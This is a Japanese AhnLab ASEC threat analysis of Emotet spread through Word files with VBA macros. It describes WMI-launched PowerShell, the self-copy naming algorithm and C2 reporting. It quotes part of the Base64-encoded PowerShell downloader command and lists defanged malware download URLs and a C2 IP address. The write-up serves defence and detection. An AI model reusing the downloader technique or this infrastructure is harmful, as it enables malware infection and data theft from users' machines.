AhnLab ASEC分析チームは、国内ユーザーをターゲットとした不正なVBAマクロが含まれているWordファイルが出回っていることを確認した。この不正なVBAマクロは、WMIによってpowershellを実行し、Emotetマルウェアをダウンロードさせる。Wordファイルを開くと、[図1]のようにVBAマクロを実行するように誘導するメッセージの画像が存在する。誘導メッセージは[図2]のように様々な形式のものが出回っている。


現在出回っているVBAマクロは[図3]のようにダミーコードおよびコメントを利用して難読化されており、[図4]は難読化が解除されたVBAマクロである。


コードを分析した結果、昨年の11月にEmotetマルウェアを含んだVBAマクロはcmdによってpowershellを実行していた一方で、現在拡散しているマクロはWMI(winmgmts:Win32_Process)によってpowershellを実行する方式に変更されたことを確認した。

WMIによって実行されるpowershellコマンドは[表1]のようにBase64でエンコードされた形式であり、デコードされたコマンドは[図6]の通りである。このコマンドは5つのURLのうちアクセス可能なURLを通してEmotetマルウェアをダウンロードし、UserProfileパスに77.exeというファイル名で保存して実行する機能を遂行する。この機能は、当社のセキュリティソフトの行為検出によってブロックされる。
powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALg…(省略)…ABiADUAMQAwADYAYgBjADQAMABjADcANAA9ACcAeABjADEAYwAxADAAeAAyADgAOAAwADMANgAnAA== |

ダウンロードされたEmotetマルウェアは、「–XXXXXXXX」形式の引数値によって実行されることが特徴である。引数値はファイルパスをもとに計算され、当該引数値が存在しない場合、再度実行する。

マルウェアが実行されるとWindowsディレクトリが存在するドライブ(C:\)のボリュームシリアル情報を照会する。この情報は、重複実行を防止するためのMutex生成、およびファイル名生成ルールのキーとして使用される。

以降、C:\Users\[ユーザー名]\AppData\Local\[新規ファイル名]\[新規ファイル名].exeパスに自己複製を行う。この時、ファイル名は[表2]一覧から2種類の項目を組み合わせて生成する。この2種類を選択するアルゴリズムは感染PCのボリュームシリアル情報をキーとして使用するため、感染したPCごとに異なる名前のファイルが生成される。
engine, finish, magnify, resapi, query, skip, wubi, svcs, router, crypto, backup, hans, xcl, con, edition, wide, loada, themes, syc, pink, tran, khmer, chx, excel, foot, wce, allow, play, publish, fwdr, prep, mspterm, nop, define, chore, shlp, maker, proc, cap, top, tablet, sizes, without, pen, dasmrc, move, cmp, rebrand, pixel, after, sms, minimum, umx, cpls, tangent, resw, class, colors, generic, license, mferror, kds, keydef, cable |
また、上記と同じアルゴリズムで[表3]一覧を使用してファイル名を生成し、そのファイルを削除する。これは、新しいバージョンのマルウェアに感染したときに、もともと存在するマルウェアを削除するためであると分析している。
chunk, counter, drawa, isve, two, next, mapi, rtapi, nlsdl, defs, tenant, rstrt, window, machine, mira, system, stream, cursor, structs, history, watched, hash, report, program, durable, offc, rsat, folders, shell, yellow, sounds, adjust, toner, tlb, sorted, loop, post, txt, icons, intel, inset, move, reports, trc, based, wim, lumber, violet, dom, easy, cvt, center, even, readand, xinput, mem, cues, layer, tools, wfd, running, mail, gesture, misc |
ファイル名の生成ルールは同一であるため、同じPCで同じ一覧が与えられた場合、結果も同じとなる。これにより、過去バージョンのマルウェアがどのようなファイル名を持っているか、特定することができる。過去バージョンのマルウェアは[表2]の一覧でファイル名を生成し、このマルウェアの次のバージョンは[表3]の一覧でマルウェアファイルを削除するということが推定できる。実際に[表3]一覧でファイル名を生成し、感染したEmotetマルウェアをASDインフラを通して確認することができた。

以降、CPUアーキテクチャ、マルウェアのファイルCRC値、PEBのSessionId、Windowsバージョン等の情報と、現在実行中のプロセスのリストを暗号化し、攻撃者のサーバーに転送する。サーバーのディレクトリパスも、ファイル名を生成するときと同様の方法でランダムに生成する。

この過程で受信した応答に基づき、新しいバイナリをダウンロードすることができる。したがって、攻撃者はいつでもユーザーの感染したPCに対して追加のマルウェアをインストールすることができるようになる。
現在、V3では下記のように様々な感染プロセスに対して行為基盤の検出およびGeneric診断を通してこのマルウェアをブロックしている。また、Word文書ファイル内の画像を利用してマクロ使用を誘導するため、出どころがわからない文書ファイル内のマクロを実行するにあたっては、ユーザーの注意が必要である。
[行為の診断]
Malware/MDP.Create.M2172
Malware/MDP.Emotet.M2077
[ファイルの診断]
VBA/Downloader.S55
[Download URL]
hxxp://bluelionconflictsolutions.com/wp-includes/5sk54068/
hxxp://www.winzerhof-kridlo.com/up/gqfm32861/
hxxp://www.coscorubber.com/lzhfb/3lzijk275/
hxxp://huyndai3sthanhhoa.com/pictures/p9104/
hxxps://wearetxvets.com/bat.function/p1bjn92466/
[C2情報]
201.184.105.242
Categories:マルウェアの情報